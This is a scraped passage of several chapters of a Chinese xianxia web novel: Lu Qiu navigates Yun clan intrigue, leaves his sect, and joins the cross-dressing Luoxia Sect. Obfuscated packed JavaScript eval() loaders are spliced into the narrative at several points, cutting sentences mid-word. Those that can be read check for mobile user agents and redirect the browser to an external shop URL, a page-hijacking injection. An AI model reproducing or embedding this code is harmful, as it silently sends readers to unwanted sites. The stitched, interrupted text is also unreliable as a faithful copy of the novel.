;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你也收拾一下吧,事情结束就去落霞宗。”鹿人给他建议:“装作什么都不知道,去看望那个羽人,顺着他们来。” “我不想见他。”陆秋撇嘴:“他都这样算计我了,我若不是误打误撞做对了,结果怕不是会更糟。” “有时候你不能因为别人利用了你而翻脸,因为只有利益才是永恒的。” “可我之前真的把他当朋友。”他这时又感到了几分委屈。 “你不能这样看,”莲花仙人叹气:“人情靠不住,但利益可以,你一定要保证自己立于安全的位置才能拿出真心来对待别人。” “哦。”陆秋还是有些不情愿。 “你可以想想,”鹿人也随着莲花仙人劝他:“只有关系好了,以后你的路才能更宽,走得更长。” “我会去看望他的。”陆秋也叹气,想想怎么才能把自己伪装的更自然些。 “以后不能再这么小家子气了,”莲花仙人拉过他的手:“你只觉得受了气就要出,朋友间就只该有友情,但你仔细就能发现,无论哪里都是利益纠纷,你不能凭自己的情绪就去做事,要多往后看看。” “我知道了。”他深呼吸,努力把自己的情绪往下压。 “你可以这样想,”鹿人又开口:“待云栖月真的掌管了滨水宗,你往来就十分方便了。” 陆秋这才如梦初醒,不过是利用了他一次,但并未让他吃除了感情以外的亏,而且自己又能多一条人脉,在浮海城这种地方也有了方便之处。总的来说,利大于弊,虽说心中那颗刺依旧深深扎在里面,但他也释怀了些,觉得这样也是挺不错的。 “那明天我去找他。”陆秋点头。 “还要我陪着吗?”莲花仙人单手支着头,带着些笑意。 “额……”陆秋挺想让她跟着的,但又怕显得自己矫情。 “我跟着吧。”鹿人掌心浮出一条约食指那么长的一条紫藤,飘向陆秋:“你若是想让我与你同行的话就收下。” 陆秋听到这话,毫不犹豫的接过那条紫藤,任由它缠上自己的手指,变为一条紫色的纹身,然后渐渐变淡,直至毫无痕迹。 40. 真相(3) “你叫他姥爷吧。”莲花仙人一脸看热闹的表情。 “哦……啊?”陆秋不敢相信,颤颤巍巍又确定了一下:“是……哪个老爷?” “你想的是哪个就是哪个。”莲花仙人的表情精彩极了,嘴角抽搐的一眼就能看出她在憋笑。 鹿人没有反驳她,只是无奈的补充:“你可以直呼我为夜千。” “好的。”陆秋呆呆的点头。 天边泛起鱼肚白,莲花仙人只是一弹指,陆秋便觉得一阵天旋地转,待他再睁眼时便发现自己躺在床上,阳光透过窗隙撒到他的被子上,窗外叽叽喳喳的鸟叫声似乎在提醒他已经是新的一天了。 他挠挠头慢慢爬起,突然想起来自己还在寝室,不能吵醒褚浣。 他看向褚浣的床,突然觉得褚浣也不是好惹的,虽说人家阴阳怪气,但有一说一人家对事情看得貌似还挺通透的。 褚浣知道的事貌似不比他少。陆秋现在想起褚浣的那句嘲讽云家架子大的话,只觉脊背发凉。 会不会与玉凰宗有关?他盯着还在睡觉的褚浣发呆。他与玉凰宗的弟子交往颇多,也难怪别人会这么想。 即使昨日几人都在劝他,将那些事都往云栖月身上推,可陆秋又倔起来,只道这些都是猜想,不能无缘无故给人强加罪名,除非云栖月真的承认。 陆秋悄悄穿衣出门,他想去找云栖月,但就这样去云家绝对不会放行,便反手一挥变出一颗晶石出来。 那晶石是他们进秘境时的留影石,记录了他们的举动,但删去了小鸟与柳容柯的身形,这样看来就是他用了不知是什么的法子保住了云栖月的命,这样就有了进入云家的筹码。 只能说云栖月的手段有时也会提供方便。陆秋下了楼,来到现在的这位值班人面前,语气有些焦急的问道:“云……长公子如今怎样了?” “长公子已经好转了许多。”这羽人面上维持着得体的笑容。 “那就好。”陆秋明显松了口气,又开口问:“云家主现在在何处呢?我这里有留影石,若是能帮到云栖月,我便给送去。”他特意张开手展示那颗晶石。 “主母已经提前吩咐过了,您随时可以过去!”羽人连忙回答:“就在主峰上,只要你去,就有人引导的。” “好,多谢。”陆秋露出一个笑来,和他道了个谢就小跑出去。看起来是担忧好友的状况,实则是觉得这些人演的可笑,而且是主母的吩咐,像是笃定了自己过去似的。 由于滨水宗闹得事情太大,好多妖都选择在自己的寝室待着,就连平时爱显摆的都躲了起来,不去触这个霉头。 想到这时也不会有谁来管自己,陆秋就直接御剑到达主峰,在山脚处下剑,那守门的羽人不知是被提前嘱咐过了还是怎的,见到陆秋就恭恭敬敬行了个礼,让陆秋跟他前去。两人上山,没走几步就是巡逻的羽人,不知道的可能还以为这是在云家的禁地呢。 直到一处院中,那羽人停步说道:“长公子便是在这里休息了。” “是你们长公子让你带我来的吗?”这一路太过顺利,让陆秋不免担心这是否为一个圈套。 “是长公子。”那羽人答。 “多谢。”陆秋点头,他能感受到云栖月本人就在房中,但貌似又不止一人。他又悄悄开始了读心,以防自己陷入麻烦。 当他推开门看见云栖月坐在床上时面上露出一丝惊喜,语气也有些压不住的欣喜:“你醒了?” “嗯。”云栖月点头,指指一旁的椅子让他坐下聊:“秘境的事还要多谢你呢。” 你还真得谢我。陆秋面上不变,只是坐下后关心的问他:“查出来是怎么一回事了吗?到底是谁故意伤你?” 云栖月叹气,头轻轻靠在窗上,面露悲伤:“是掌门,他……虽说我起初也不太信他会加害我。” 嘴上是这样说的,可心里却是另一番想法:他算一颗好用的棋子。 “他怎能……”陆秋也跟着叹气,这时他终于察觉到了另一房间躲着的人,应该是当初抱住云栖月的女人,那女人的心声让他听到差点没憋住笑了出来。 月华也是争气,若能与这小子结盟,以后去余月也能多一条路。 陆秋眼珠一转,心里想着我必然得把你逼出来,便故意摸上脖颈一侧,像极了密友之间聊常事那样对云栖月抱怨道:“对了,你妖化的时候牙齿貌似挺尖的吧?” 云栖月不明所以,顺着他的话头往下接:“是挺尖。” “那你咬我的时候怎么这么磨蹭。” “呃……”云栖月看起来貌似还有点不好意思:“当时没想这么多,只想着妖化的话可能更控制不住……” 他突然停住了,陆秋顺着他的目光看去,只见女人从帘后出来,一脸不可置信的盯着他们,深呼吸了好几次说出来的话还断断续续,陆秋都担心她晕过去。 “你们……咬什么?” 陆秋想着这时候自己绝对不能解释啊,只能让云栖月说,便连连给他使眼色。云栖月立刻说道:“之前结契的事,你不要乱想。” 女人被侍女扶着坐下,又是顺气又是倒茶,过了好一会才缓过劲来。她面上带着慈祥看向陆秋:“月华以前也常和我提起你,如今一看你们关系确实要好。” “挺好的,我们是睡在一起的。”陆秋故意混淆概念。 女人心里又震惊了一瞬,但只有陆秋用了读心知道她的想法,可他就是不说。 姜还是老的辣,她开始进入正题:“你这次前来看望月华我已经很高兴了,这孩子总是自己孤零零的,身边也没个真正好的玩伴。” “我们是朋友,他遭到暗算,我自然也要为他打抱不平。”陆秋像是完全不知道他们做的事情,只是云栖月说什么他信什么。 “好孩子。”女人带着慈爱的表情点点头:“若是没有你,月华还不知要多孤单,这次估计也就……”她故意没有说下去,拿着手帕抹了抹根本不存在的泪水。 你做的好哇。陆秋心里鄙夷这个说一套做一套的女人:要让我觉得我对云栖月十分重要,然后有什么忙要我帮,出头鸟让我做了是吧。 陆秋点头:“没关系,毕竟云栖月对我也不错嘛。” 他露出了个天真的笑,似乎真是在顺着对方走下去。 女人对陆秋很满意,又说了几句便离开了,还临走前还招呼陆秋留下吃个饭,陆秋连连答应,在女人完全离开的瞬间又瘫在椅子上和云栖月抱怨:“吓死我了,我还以为是因为你受伤所以要来找我问罪呢。” “不会的,姨娘还不至于疯到这种程度。”云栖月失笑。 “那是你姨娘?”陆秋想着还好一开始没说令堂,但他转念一想,突然奇怪道:“那他们说的主母……” “是她。”云栖月苦笑:“好笑吧,我姨娘是主母。” “她还挺关心你的。”陆秋想打破这尴尬的局面,有点痛恨自己怎么这么会找话题,把话都说死了。 “因为她不能生育,所以把我纳到她名下了。” 这时外面传来侍女的声音打破了室内的尴尬,这是他第一次觉得外人还挺好的。 两人要去主院的屋子吃饭,见云栖月一身单薄的睡衣,陆秋又拿过一旁挂着的羽衣给他披上,不顾周围侍女们那见了鬼似的眼神,与他并肩走着 屋内正对大门坐着的是位长相儒雅的男人,除了眼袋与眼角鱼尾纹重了些,简直就是云栖月的年长版。陆秋又悄悄的看了眼云栖月,对方则轻咳了一声,意思是不让他看。 “家主。”陆秋学着云栖月行了个礼。 云家主倒是没有特意摆架子,点点头让他们入座,等他们坐后才开口对陆秋道:“月华也是多亏了你才能得救,这份恩情云家会记得,你有什么需要,只要不是太过分,可来云家找月华解决。” “家主言重了,”陆秋同样笑着回应:“我们平日关系便不错,这也只是我作为友人该做的。” “嗯。”家主点点头,看起来对陆秋这一番话很满意。 确实满意,就连云栖月都觉得有面子。陆秋已经出了一背的冷汗,这三人都在算计,云家主想的长远,在思考和陆家能否合作;主母笑里藏刀,巴不得陆秋赶紧当了垫脚石,将她的位份送的更高些。 陆秋不自在的降头偏向云栖月,只听他心道二位对自己都很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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反正云家都有结论了,掌门也承认了,那就不需要陆秋再作证,但他并未给云栖月说自己即将离开滨水宗的事情,只是假装无意问道:“你以后住在哪里呢?” “嗯……”云栖月思考了一下:“大概率就是这里了,掌门伤的我,让我在主峰养伤也很正常吧。” “那确实。”陆秋点头又问:“以后还能来这里找你吗?” “当然可以啊。”云栖月察觉出一丝奇怪,不过陆秋平日里说话就是这么个丢三落四的样子,自己终究还是没有往心里去。 “你回去休息吧。”陆秋不让他继续往前走了,不知又想起什么而感慨起来:“有时候还挺身不由己的。” “你怎么身不由己了?” “我想在滨水宗御剑都只能趁着晚上或者此时这种情况。”陆秋挑眉,捏着嗓子学那唱戏的姐儿说道:“我这一去,不知何处可寻,何时可遇了。” 云栖月只当他在说笑,平日不能自由飞来飞去的憋坏了,便笑着目送他离开了主峰的层层云雾,消失在了视线中。 陆秋用最快的速度直直飞向药房,还没有停住就跳下剑去,由于惯性又向前扑着跑了好几步才停下,差点把站着的陆夕月都给扑倒了。 他还没说话,就看见屋内坐着的那人正含笑看着他,他也不理陆夕月了,而是又向屋内跑去,一下扑到那人的怀中,用力抱住她。 “娘,你怎么来了?”他抬脸看向秋络。 秋络给他理着飞得乱糟糟的头发,打趣他道:“是不是知道我要来才飞的这么快?” “知道你要来我会飞得更快。”陆秋嘿嘿笑着。 “东西收拾的怎么样了?” “本来就没多少,”陆秋晃了晃手,表示该拿的都在储物戒中了:“不对,我还得回寝室收拾一下。”他有些懊恼。 “那就留下吃晚饭。”老头这时候也说话了:“这都下午了,你们总不能晚上再赶路处理事情,吃了饭再走。” 陆秋扭头看老头,又看看秋络,他才不信老头是只想留他,绝对也是想念徒弟了,想留着聊聊天。 他有眼力的站起身,把地方留给他们,既然不着急走了,那就回五号楼和杜漓他们告个别好了。 顺便在给云栖月点小小的教训,算是骗他感情的报应吧。陆秋一路上连怎么办都想好了,就等着时机了。 41. 过渡 可惜的是杜漓并没有在寝室,里面只有还是那个姿势躺着看话本的褚浣,见他回来,褚浣未等他开口便问:“你要走了?” 陆秋一怔,不由疑惑起来:“你怎么知道?” “一早就走了,想必是重要的事情,在加上云栖月一事,你留下已经不合时宜了,除了办理离宗之事,我想不出别的了。”褚浣很笃定的说道:“昨晚你也不在这里吧。” 褚浣真的敏感过头了。陆秋知道瞒不住了,只好含糊的承认:“确实有事。” “那你要去哪里?”他从躺着变为了趴着,胸下堆了三个枕头让自己能舒服些。 “不知道,暂时就先回家呗。”陆秋快速把自己的被褥折叠收纳起来,又从柜中翻找自己还用得着的物品:“本想着回来和你们说一声的,等杜漓回来你给他也说一声呗。” “他回来看见两个床都是空的就知道怎么回事了。” “他去哪了?”陆秋这才想起来问杜漓的去向。 “他的试炼通过了,给自己放了个假,回家过几天。”褚浣声音有气无力的,不知是不是杜漓不在,没人与他说话,他今天格外健谈。 陆秋很快就把东西收起来了,剩下用过而没必要带走的他便一把火烧了,看着空了一半的寝室还真有些不习惯。 但转念一想还有个小小的报复要做,心里的郁闷一扫而空,他向褚浣晃了两下玉简,安慰他:“我挺闲的,反正咱俩有联系,可以聊天。” “我不闲。”褚浣翻了个白眼继续看话本,不再理他。 陆秋看着他窝在床上的样子笑了笑,出去轻手轻脚的带上了门。他蹲在门口翻出张信纸来,按照自己的所想洋洋洒洒写了一大段又是煽情又是不舍的文字,但一连写废十几张都觉得太过夸张,显得自己轻浮了,他开始有些不想报复云栖月了。云栖月貌似对感情是不在乎的,不然怎会在经历了这么多,还是以利用他为目标呢。 但是不报复又让他心里不痛快。陆秋叼着笔思索了一会,还是将一张空白信装进了信封。 他不想和这样冷血的人交往,他们自然就没有以后了。 “就这样吧,虽然我也不知道到底干什么的但是感觉有那个意思,懒得再想了。” 陆秋把前面写错的信纸都烧掉了,把这张信纸塞到一份墨绿的信封中,上面用烫金描绘的竹与红豆太过特殊,一眼就能看出是余月那边的产物。 他用灵力封好口后又设了个禁制,只有云栖月能打开,便放心的向楼下走去,走到那位兢兢业业的羽人面前,将信件交给他说道:“这封信麻烦转交予你们云长公子,他现在睡下了,我不太方便去,还请你明天跑一趟了。” “好的。”那羽人立刻收下,依旧是那副恭敬的态度问道:“您是要去哪里吗?” “保密。”陆秋对他眨眨眼:“你也得保密。” 那羽人立刻答应下来,大概是觉得长公子和友人的事情不能多问,便闭了嘴,让陆秋成功一路放心飞回药馆。 如果以前说值班人不能离开自己看守的楼,也许他会信。但如今滨水宗是云家的了,他又是云家重点观察对象,这个值班人不是通风报信的他根本不信。 果然跳出来看事情就是清晰。陆秋到了药馆蹦下了剑,经车熟路找到老头他们,但见到一桌子菜的时候他都有些怀疑自己的眼睛。 他看向已经坐下的老头,用一种不可置信的眼神询问:“你怎么做这么多菜?” “秋小鬼好长时间没回来了,我做些菜怎么了?”老头反过来质问他。 “那我在这里你都只随便做点点心的。”陆秋更感到不公平了。 “你那天天来我这蹭吃蹭喝的,能一样吗?”老头乐呵呵的看向秋络:“好不容易回来一次,多吃点,不够再去炒几个菜。” “我每逢重要日子都回来的。”秋络不客气,夹了些菜到自己盘子里,还不忘看看陆秋:“自己夹菜吃啊。” 陆秋这才坐下,一声不吭的夹菜听他们讲话,陆夕月在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395959|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边见他这样还劝道:“正常,你还没出生之前,你爹我都是不能上桌的。” “你怎么这么不受娘的娘家人待见?”陆秋想想夜千的反应,貌似对陆夕月也不是很满意。 “吃你的饭。”陆夕月不和他说了,把那盘地瓜丸往秋络那边推了推,自己则埋头吃饭,老头不喊他都不带抬头的。 “爹,为啥我印象里你们没带我来见过老头?”陆秋悄悄问陆夕月。 “你还是小时候的时候来得多,但自从你在陆家学习就不能外出了,就没再来过了,平时都是我和你娘来。”陆夕月给他解释。 “哦哦。”陆秋知道了,自己这顿饭还是看着秋络的面子吃的,要是只有他和陆夕月,恐怕这会人都已经在落霞宗了。 算了,有的吃就行。陆秋挑了秋络不怎么吃的菜夹着吃,觉得老头手艺确实好,怪不得秋络脸一直是圆圆的,原来是吃得太好。 “你怎么不会做菜?”陆秋问陆夕月。 “我哪里不会?”陆夕月暼他。 “你就只会做那些小点心,这些菜你会做多少?” “这不是等你学了做给你娘吃嘛。” “啧。” 虽说他俩一直没说上什么话,全程都是老头在问秋络过得好不好,家里有没有缺的什么,陆夕月对她怎么样,陆秋听不听话一类的问题,但父子俩吃的也很开心就足够了。最后两人吃的饭在嘴里嚼得都难以下咽了这场饭局才结束,秋络优雅的擦擦嘴,和父子二人形成鲜明对比。 “丝丝休息去吧,明天一早就要走哦。”秋络开口提醒。 “那我走了。”陆秋慢慢站起来,因为撑得已经不能控制了,甚至走路的时候都是弯腰扶墙走的,出门前他还回头看了眼陆夕月,陆夕月明显也撑到极限了,坐在那里一手端碗一手拿筷子,眼神都是呆滞的。 陆秋慢慢走回去,想着要不再走一圈,现在不仅睡不着,躺床上还有可能反胃,于是又忍着胃撑到极限的感觉吃了颗消食丸。 42. 落霞宗(1) 第二天果然是一早就要走,陆秋还没睡醒就被陆夕月叫起来,并且丢给他一套衣服让他换上,陆秋眼都没睁开,以为要去落霞宗得先穿上宗服,便接过衣服,却发现手感不对。他勉勉强强睁眼看了一下,发现竟是一件纱裙。 他缓缓抬头看向陆夕月,连那点困意都没有了,见陆夕月等他换上,迟疑问道:“这是女装?” 陆夕月闭眼缓缓点头。 “为什么啊?” “落霞宗规矩啊。”陆夕月满脸的笑都绷不住:“里面弟子都是穿裙子的,你不仅得穿这个,你还要把你那头发梳整齐了。” “啊?”陆秋震惊之余发现桌上已经摆了一堆钗子等他挑,从心底泛上想要逃跑的冲动。但陆夕月不会让他得逞,一把摁住他的肩膀威胁道:“你姥爷也在外面呢,你可别想着跑,你就算跑了老头也能把你抓回来。” 等陆夕月出了门,陆秋只好哀怨的开始穿衣服,心里是越想越气的,也没人提前告诉他去落霞宗要穿裙子。 并不是对裙子有意见,只是单纯觉得麻烦,而且天天梳那个头发多费时间。说是这样说,但做是一点不带停顿的,多亏了平日秋络也会带他给陆夕月梳头发,许多女性发型他都可以说是得心应手。 这次和上次被莲花仙人带着不一样,秋络在原地开启了一个千里缩地,直接带他与夜千到了落霞宗的石碑前。夜千为他们开启了结界,秋络便像揽着女儿那般揽着他从后门进了落霞宗。 落霞宗与滨水宗几乎算得上是完全不同,这里不似修行者应住的地方,反而像是皇家的那种高墙大院,处处彰显着低调的奢华,若是仔细了,还能闻到空中那种奢靡的气味,那气味就像是金子,灵石与宝石的混合物,会把人迷花了眼的味道。 陆秋下意识向上看去,这里还与陆家不同,至少抬头还能看见起起落落不同的屋顶,陆家则是一个个方格,整齐但死板。不过他很快便从这种情绪中脱离,因为秋络的体温像是指引,把他从过去的寒潭中慢慢拖了上来,给他喘息的契机。 很快到了他们的主楼,陆秋左右打量着,发现这里更加华丽,连柱子的底部都用灵石为材料刻上了法咒,这放在凡间都无异于用金子做门槛。 这宗门有实力啊。陆秋呆呆的想着,直到秋络让他站在门口,自己踮脚悄悄进去。 陆秋看着秋络悄悄进去,不知道他娘又要做什么,就看见里屋帘子后走出一位姿态端庄的老妇人,那老妇人一头银发,由于年龄太大而眼角微微下垂,可依旧遮不住那其中的艳丽与透彻。老妇人看见了他,有些惊讶的朝他走来,问道:“你是哪里来的?” 陆秋刚要回答,老妇人就用余光瞄到暗处和鬼似的秋络,当场惊得一跳,后反应过来是秋络,又抚着胸口哎呦喊道:“你这娃娃吓死我了!”秋络赶忙扶住她让她坐到桌边的圆凳上,招呼陆秋进来。 陆秋乖乖跟进去,看见秋络从储物戒中掏出一个首饰盒子,里面放了个漂亮的金镯给老妇人:“您看看,这是弟子专门给您拍下来的。” 老妇人推了两下,说着给她买这个做什么,但两次推脱后便收着了。 “丝丝,过来。”秋络招手让他过去:“叫掌门。” “掌门。”陆秋乖乖喊人。 “这孩子随你,都是一顶一的漂亮。”老妇人拉过他的手,上下打量了一番,不禁夸赞道:“个子合适,根骨是极好的,性子又这样好,你要是一开始把他放这里养着,怎么都得是咱们宗门的宝贝。” 陆秋听到她这么夸自己,不由得有些不好意思,便说:“您也很美丽。” “哈哈哈。”掌门笑起来,连头上簪的花都在她释放的灵力中绽开:“这样说话,你师姐们一定也都喜欢你。” “这孩子刚从家里出来,心眼不够使的,就想着送来您这让您给带一带。”秋络给老妇人按着肩,亲昵极了:“您多关照一下。” “这算是我的亲孙儿,我怎么能不关照呢!”掌门有些不满的嗔怪:“娃儿在这绝对比在你那里过得好!”说罢,她对着桌上放的小铃铛喊了一声:“清环,过来。” 也就不到半柱香的功夫,一位身姿曼妙的弟子踏着碎步进了屋,向掌门行了一礼,全程都在垂着头,低眉顺眼的模样看起来就像那习惯了被使唤的下人,就连声音也是细细柔柔的:“掌门有何吩咐?” “这是你们的新师弟,你带着他去收拾东西。” “是。”那弟子又是一礼,转向陆秋的方向说道:“请跟我来吧。” 陆秋看了眼秋络,秋络示意让他走,他便跟在那弟子身后出了房间。 可能是刚来到不熟悉的事,这位比他还高些的清环师姐带他下了两层楼塔还是相同的模样,不禁问道:“师姐,我们去哪里?” “先去领你作为弟子该用的东西。”清环扭头纠正道:“是师兄。” 陆秋心想这第一个师兄就被他遇到了,还真是幸运,便立刻改口:“师兄。” “嗯,平日里还是喊师姐吧。”清环在这个新师弟面前放开了许多,嗓子也不捏了,没了那股子柔劲,听起来清亮无比,他放慢脚步和陆秋并肩走着:“在掌门面前就得恭敬些知道么?” “掌门看起来还很平易近人啊。”陆秋疑惑了。 “那是因为……”清环突然话题一转又问道:“你叫什么?” “陆秋。” “你可别被其他同门知道今天的事,不然你就该叫金镯了。”清环打趣他,陆秋一下就明白了什么意思,掌门对他慈祥是因为他娘先送礼了,而且看二人亲昵的模样,秋络应该也没少送一些天灵地宝的东西。 “我知道了。”陆秋点点头,自从莲花仙人说过他后,他就不怎么使用读心了,这突然不用,不知道他人的想法还真有些不习惯。 清环应该是资历较老的弟子了,一路上遇见的弟子都是和清环打招呼的,还顺带问候了陆秋,也托他的福,从主楼领过宗服与通信牌,再到去往寝室也不过短短一炷香的时间。他进了寝室,发现里面确实整齐的惊人,就像没有人居住似的。 “我们都是单人寝室,但是你得记住几点。”清环叉腰倚在门框上,让他听着:“寝室不能脏乱,记住你今天看见的这副模样,除了你的一些必要的东西可以摆放,剩下都不可变化太大。” “这是有什么法阵吗?”陆秋一听这么严苛的要求,厌恶感一下就上去了。 “不,这是保持你基本的卫生。”清环继续说:“每日都需沐浴,哪怕是过一下水都行,而且在这里日日也是要焚香的,不过你不用担心,宗门会发放的,你想点别的香去买便是。” “啊?”陆秋更头疼了。 “先别啊,还有呢,”清环有些同情的看着他:“每个月至少要出去处理一次悬赏,不然会有处罚的。” “处罚一般是什么?” “大概是抄女德经吧。”清环也露出厌恶的表情,不过很快又收了回去:“本来在这里都得维持那种小姐的姿态,现在又要抄这些东西……” 陆秋可不敢说话,只是又问了一句:“还有其他要注意的事吗?” “有,好多呢,在这里你别想着能放开手脚做事。”他补充道:“不想遵循这么多就去接悬赏,出任务,若留在宗内,你平日里注意点方寸就好。” 陆秋若有所思的点点头,已经开始考虑接什么样的任务了。 “好了,隔壁是我的房间,有事就来找我。”清环掩面一笑,将少女的那种机灵表现得淋漓尽致。 陆秋进了房间,真是又不敢坐又不敢动的,生怕哪里有点脏乱就给他记了次过。最终他还是只把一些衣物挂进了衣柜,确认已经整整齐齐了才关上柜门,又从底下的抽屉中找到了个巴掌大的香炉,里面也是干干净净,一点使用的痕迹也没有,不由得让他担心的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395960|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着不会这炉子是否也要每天保持这么干净。 他从芥子空间掏了两颗清心丸扔进去,由于担心烧香会留下灰来,干脆就不用烧的,用这种能自己挥发的香。 他想想时间,现在云栖月应该收到了他的信件,还好昨天离开滨水宗的时候他把玉简销毁了,又将想留的联系人转移到了自己的竹牌上,云栖月应该也找不到他。 不对。陆秋摸上脖颈,心说糟了,忘了他还能顺着契约找过来。当时他为了躲柳容柯才让云栖月和他结契的,现在又变成要躲云栖月了。 总不能为了躲他再找个鬼和自己结契吧。他有些忧虑的打开储物戒,记得里面貌似有可以隔断对方寻找的法器。 最终他还是找到了个差不多的法器,外形看上去是挂耳式耳坠,数根细细的金丝缠绕在一起,其中又夹杂着星星点点的灵石碎片,末端还有红流苏,带上后刚好能到锁骨位置,不至于晃动得太厉害扯得耳朵发疼。 他将原先的耳夹取下,想着如果就这样放到芥子空间吃灰可太不值了,便又翻出来个小盒把这耳夹暂时存放在里面,等着哪天看看能否也炼成法器。 落霞宗招新弟子是在十月,现在宗门内的管理还算是松弛,也就是说他有一个月的时间来习惯这里的生活。 但头疼的事又来了,虽说他的修炼层次提升了不少,但他要写的心法却是一点没动,自己被卷入一桩桩的事情中也想不起来写心法,这都离开妖修的宗门了也没多少收获,导致他就不想写了。 不管如何,万事开头难,不如就把自己的修炼状态记录下来,这样也有些心理安慰。陆秋拿出那本还是空白的心法,把自己所处的金丹期和大概实力写了下来,随后又扔回芥子空间。 既然清环说了有事可以找他,那他要一个联系可不过分吧。陆秋拿着通讯令敲了敲清环的门,下一刻清环的声音在门内响起:“何事?” “师兄,能交换个联系方式吗?” 门内又传来小碎步踏着地毯的声音,清环开了门,站在门口教陆秋怎么使用通讯令。和滨水宗的玉简使用方法差不多,两人很快弄好后清环把脑后的簪子稍微往上扶了一下,问陆秋:“辟谷了吗?” “偶尔会吃一些。”陆秋知道这是要保持身材而节食了。 “吃了记得把味道散掉,如果可以的话就别吃。”他又拉过陆秋的手,观察了一会。陆秋手指不算纤长,但胜在骨节分明,而且皮肤细嫩,由于主武不是很需要力气的,掌部也只有一层薄茧,很适合…… “走,带你去做指甲。”清环拉起他的手腕就走:“你的指甲甲型不错,不用修,长度刚好也能做个中等的。” “指甲也是必须做的吗?”陆秋傻了,看着清环那长的能直接戳死他的指甲,内心是极其抗拒的。 “这还是少的呢,还没给你打耳洞。”清环扭头看他,幸灾乐祸的嘻嘻笑:“你打不打耳洞?” “不打!”陆秋把脑子里所有理由都想了一遍:“我对这些过敏,除了纯金都不能戴。” “我们这里就是金子多。”清环看他是在抗拒,只好逗一下那么回事就好:“算了,给你做个指甲就行,做完指甲带你去别处看看,再给你讲点规矩。” 大概隔了两个院子,清环带他到其中的一间屋内坐下,那里还有几位不知是师兄还是师姐的弟子也在,而其中一位扎着双丫髻的弟子迅速凑了上来,看着陆秋:“你是新来的?” “是的。”陆秋往后仰了仰,避免被这位撞到。 “给做个指甲。”清环把陆秋的手拉起来给这位弟子看,这人看了一眼,立刻拍手问道:“想要什么样式的?” “要不给画点华丽的?”清环替陆秋回答了。陆秋一听,他可不愿意,忙说:“简单一点的吧。” “那就打个底,然后画些花呗。”那弟子熟练的拿出些瓶瓶罐罐,比对了一下颜色:“红的打底行吗?” 43. 落霞宗(2) “有些太张扬了吧?”陆秋忍不住回答。 “我们都是红的啊,好看的,显手白。”对方回答:“你要是不想要这个色,这还有更淡些的。” “肉色有吗?”陆秋也看向色板。 “有,那叫裸色。”对方把一个瓶子里的液体沾了些出来涂在陆秋指甲上:“你看,一个色的,这个怎么样?” 陆秋觉得再挑就不礼貌了,见这个自然,便点头同意了。 清环已经去一旁找其他人聊天了,这个给他做指甲的弟子也闲不住,开口就是:“你叫什么啊?” “陆秋。”陆秋这时不知怎么又想起清环的话来,差点一句“金镯”脱口而出。 “哦哦,我叫江舟,泛舟江上的江和舟,平时直接喊名就行,是师兄,不过你喊师姐也没问题。”他叨叨说了一大堆,这时已经给陆秋涂完了裸色的底,又挑挑拣拣拿出个长盒来,长盒里又被分出好几个小格子,里面装满了各式各样的装饰,他挑了上面画了几片红豆样式的纸出来,在陆秋指甲上比划着:“刚开始做指甲都觉得过意不去,你就等着吧,这玩意上瘾,我保证你下次还想做其他款式的。” 陆秋无奈的笑着没有说话,他也不确定自己会不会喜欢,所以话还是不要说的太满比较好。 “你哪儿的人?”江舟边画金边边问他。 “我是余月的。” “余月陆氏?” “庶出的。” “庶出的也好啊,谁不知道陆家不看谪庶。”江舟让他把手心朝上用笔一勾,勾出了个漂亮的弧线:“差不多了,这个指甲挺素的。”他又拿起一旁如拇指粗的小短筒,在他指甲上隔了一点距离开始注入灵力,指甲上刚刚涂的东西便迅速变干,凝成了光滑的固体。 “你们这些东西是怎么做出来的?”陆秋拇指摩挲两下食指的指甲,只觉得神奇。 “那是好多年之前了,一位大能在我们这里给前掌门做了一次指甲,前掌门大喜,重金留了那位大能教我们这些。” “哪位?是浮海城……”陆秋想起来莲花仙人可能知道的那人,但不太敢确定。 “浮海城还能有哪位?”江舟又说:“也不知道他是何方神圣,总能带来这些神奇的小东西。” “他还经常回来吗?”陆秋又问。 “不知道,回来也不贪我们看。”江舟皱眉:“你刚来,不知道规矩,平时大家这么说说笑笑没事,但在长老和掌门面前可得低声下气,不主动给你说的你就别问,免得受罚。” 那不就是当哑巴吗。陆秋心里埋怨,但还是道谢:“多谢,我会注意的。” “好了,看,漂亮不?”江舟捏住他的手掌举起展示。 指甲泛着淡淡的粉,金线描绘出的竹与红豆相映衬,细看只有寥寥几笔但不敷衍,整体泛着温柔的感觉。 你别说,还真好看。陆秋也忍不住欣赏了起来,突然觉得做指甲貌似也不是什么难以忍受的东西了。 见他喜欢,江舟笑吟吟的说道:“反正本宗门弟子做指甲都是免费的,你想做下次再来找我也行,不过要提前说好,不然我不保证有时间,想学的话也可以直接来,你就当给我打下手了。” 